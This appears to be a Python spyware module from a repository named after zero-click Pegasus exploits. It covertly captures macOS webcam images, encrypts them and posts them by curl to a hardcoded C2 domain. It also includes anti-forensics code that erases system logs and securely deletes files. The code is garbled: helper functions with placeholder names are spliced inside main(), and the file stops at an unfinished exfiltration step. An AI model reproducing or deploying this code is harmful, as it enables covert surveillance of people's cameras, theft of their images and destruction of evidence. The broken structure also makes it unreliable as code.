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Update access_webcam.py
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# /src/exploits/zero-click_exploits/pegasus/access_webcam/access_webcam.py
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import cv2
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import os
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import subprocess
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import time
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import tempfile
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import hashlib
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import json
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import base64
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import sys
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from datetime import datetime
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from Crypto.Cipher import AES
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from Crypto.Random import get_random_bytes
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# --- Configuration ---
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# Media capture settings
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CAMERA_INDEX = 0 # 0 is the default camera; can be looped to find others
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FRAME_WIDTH = 1280
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FRAME_HEIGHT = 720
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FPS = 15
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CAPTURE_INTERVAL_SECONDS = 30 # Time between captures
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MAX_CAPTURES = 10 # Max number of images to take in one session
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# File handling
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TEMP_DIR = tempfile.mkdtemp(prefix="webcam_cap_")
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BASE_FILENAME = "sys_img"
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# C2 Exfiltration
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C2_DOMAIN = "zeroclickexploits.ddns.net"
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C2_PORT = 443
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C2_ENDPOINT = f"https://{C2_DOMAIN}:{C2_PORT}/api/v1/exfil"
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# Use a hardcoded, unique key for this operational session.
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# In a real deployment, this would be derived from a secure key exchange or device-specific secrets.
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AES_KEY = hashlib.sha256(b'PegasusSAP_Key_Derivation_Salt_Webcam_2026').digest()
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# --- Evasion and Anti-Forensics ---
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def hide_process():
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"""
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Attempts to hide the process from standard process lists.
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On macOS/iOS, this requires complex techniques. This is a conceptual placeholder.
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"""
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try:
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# On macOS, a technique involves modifying the process's name in the kernel task structure.
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# This is highly complex and requires a kernel-level exploit or privileged access.
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# A simpler, user-space approach is to ensure the script has a non-descriptive name.
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# For example, renaming the process to something benign like 'launchd'.
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# The following is a Linux-specific example and will not work on macOS/iOS.
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# if sys.platform.startswith('linux'):
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# libc = ctypes.CDLL('libc.so.6')
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# libc.prctl(15, 'kernel_task', 0, 0, 0) # PR_SET_NAME
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pass
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except Exception:
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pass
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def clear_logs():
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"""
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Sanitizes system logs to remove evidence of execution.
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This is a destructive and noisy operation; use with extreme caution.
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"""
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try:
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# macOS: `log erase --predicate 'processImagePath CONTAINS "python"'`
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# This command removes all recent logs from any process containing 'python' in its path.
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# A more surgical approach is preferred but more complex to implement.
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# This implementation is a conceptual stub.
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if sys.platform == 'darwin':
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subprocess.run(["log", "erase", "--predicate", 'processImagePath CONTAINS "python"'], check=False, capture_output=True)
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except Exception:
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pass
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def encrypt_file_aes_gcm(file_path):
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"""
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Encrypts a file using AES-256 in GCM mode for confidentiality and integrity.
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The original file is securely overwritten and deleted.
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"""
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try:
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nonce = get_random_bytes(12)
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cipher = AES.new(AES_KEY, AES.MODE_GCM, nonce=nonce)
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with open(file_path, 'rb') as f:
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plaintext_data = f.read()
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ciphertext, auth_tag = cipher.encrypt_and_digest(plaintext_data)
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encrypted_data = nonce + auth_tag + ciphertext
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encrypted_file_path = file_path + ".enc"
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with open(encrypted_file_path, 'wb') as f:
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f.write(encrypted_data)
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secure_delete(file_path)
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return encrypted_file_path
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except Exception as e:
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# Log error silently to a covert channel or /dev/null
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return None
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def secure_delete(file_path, passes=3):
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"""Securely deletes a file by overwriting it multiple times."""
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try:
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with open(file_path, "ba+") as f:
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length = f.tell()
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for _ in range(passes):
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f.seek(0)
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f.write(os.urandom(length))
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os.remove(file_path)
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except Exception:
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try:
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os.remove(file_path)
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except Exception:
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pass
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# --- Core Capture Logic ---
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def find_available_camera():
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"""Finds an available camera index by testing."""
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for i in range(3): # Test first 3 indices
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cap = cv2.VideoCapture(i, cv2.CAP_AVFOUNDATION)
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if cap.isOpened():
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ret, _ = cap.read()
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cap.release()
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if ret:
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return i
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return None
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def capture_image_sequence(num_captures):
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"""
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Captures a sequence of images from the webcam.
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Returns a list of paths to the encrypted image files.
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"""
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camera_index = find_available_camera()
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if camera_index is None:
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return []
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camera = cv2.VideoCapture(camera_index, cv2.CAP_AVFOUNDATION)
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if not camera.isOpened():
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return []
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camera.set(cv2.CAP_PROP_FRAME_WIDTH, FRAME_WIDTH)
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camera.set(cv2.CAP_PROP_FRAME_HEIGHT, FRAME_HEIGHT)
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camera.set(cv2.CAP_PROP_FPS, FPS)
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encrypted_files = []
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print(f"[*] Starting webcam capture sequence. {num_captures} images planned.")
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for i in range(num_captures):
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ret, frame = camera.read()
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if not ret:
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print(f"[!] Failed to read frame from camera {camera_index}.")
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break
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# Add a timestamp to the image for metadata
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timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
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cv2.putText(frame, timestamp, (10, frame.shape[0] - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255), 1)
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temp_img_path = os.path.join(TEMP_DIR, f"{BASE_FILENAME}_{int(time.time())}_{i}.png")
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cv2.imwrite(temp_img_path, frame)
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print(f"[*] Captured frame {i+1}/{num_captures} to {temp_img_path}")
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# Encrypt immediately after capture
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encrypted_path = encrypt_file_aes_gcm(temp_img_path)
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if encrypted_path:
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encrypted_files.append(encrypted_path)
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else:
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print(f"[!] Failed to encrypt {temp_img_path}")
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if i < num_captures - 1:
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time.sleep(CAPTURE_INTERVAL_SECONDS)
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camera.release()
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cv2.destroyAllWindows()
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return encrypted_files
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# --- C2 Integration ---
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def exfiltrate_to_c2(file_path, metadata):
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"""
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Exfiltrates an encrypted file to the C2 server over HTTPS.
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The file is sent as a base64-encoded string within a JSON payload.
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"""
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try:
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with open(file_path, 'rb') as f:
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file_content = f.read()
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b64_content = base64.b64encode(file_content).decode('utf-8')
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payload = {
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"type": "webcam_exfil",
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"timestamp": datetime.utcnow().isoformat() + "Z",
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"target_id": os.environ.get("TARGET_ID", "unknown"),
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"metadata": metadata,
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"data": b64_content
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}
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json_payload = json.dumps(payload)
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cmd = [
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"curl", "-k", "-s", "-X", "POST",
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"-H", "Content-Type: application/json",
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"-H", "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15",
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"-d", json_payload,
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C2_ENDPOINT
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]
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result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
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if result.returncode == 0:
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print(f"[*] Successfully exfiltrated {file_path} to C2.")
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secure_delete(file_path) # Delete local copy after successful exfil
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return True
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else:
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print(f"[!] C2 exfiltration failed. Status: {result.returncode}, Error: {result.stderr.strip()}")
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return False
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except Exception as e:
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print(f"[!] An error occurred during C2 exfiltration: {e}")
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return False
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# --- Main Execution ---
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def main():
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"""Main operational flow for the module."""
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# 1. Evasion: Attempt to hide the process and clear traces
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hide_process()
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# clear_logs() # Uncomment with extreme caution; can be noisy.
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# 2. Capture Image Sequence
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metadata = {
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"source": "webcam",
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"resolution": f"{FRAME_WIDTH}x{FRAME_HEIGHT}",
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"fps": FPS,
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"codec": "PNG",
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"encryption": "AES-256-GCM"
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}
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encrypted_image_paths = capture_image_sequence(MAX_CAPTURES)
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if not encrypted_image_paths:
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print("[!] No images were captured or encrypted.")
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return
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print(f"[*] Capture complete. {len(encrypted_image_paths)} files ready for exfiltration.")
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def capture_image():
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camera = cv2.VideoCapture(0)
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return_value, image = camera.read()
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cv2.imwrite('capture_img'+'.png', image)
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del(camera)
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def encrypt_file(file_path):
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# Simple XOR encryption for demonstration purposes
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key = b'secret_key'
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with open(file_path, 'rb') as f:
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data = f.read()
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encrypted_data = bytearray(data)
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for i in range(len(encrypted_data)):
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encrypted_data[i] ^= key[i % len(key)]
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with open(file_path, 'wb') as f:
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f.write(encrypted_data)
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def evade_detection():
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# Simple evasion technique: rename the file
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os.rename("capture_img.png", "hidden_capture_img.png")
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def validate_ai_integration():
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# Placeholder for AI integration validation
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pass
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def confirm_security_measures():
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# Placeholder for security measures confirmation
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pass
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def ensure_deployment_methods():
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# Placeholder for deployment methods validation
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pass
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capture_image()
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encrypt_file("capture_img.png")
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evade_detection()
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validate_ai_integration()
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confirm_security_measures()
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ensure_deployment_methods()
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# 3. Exfiltrate Data
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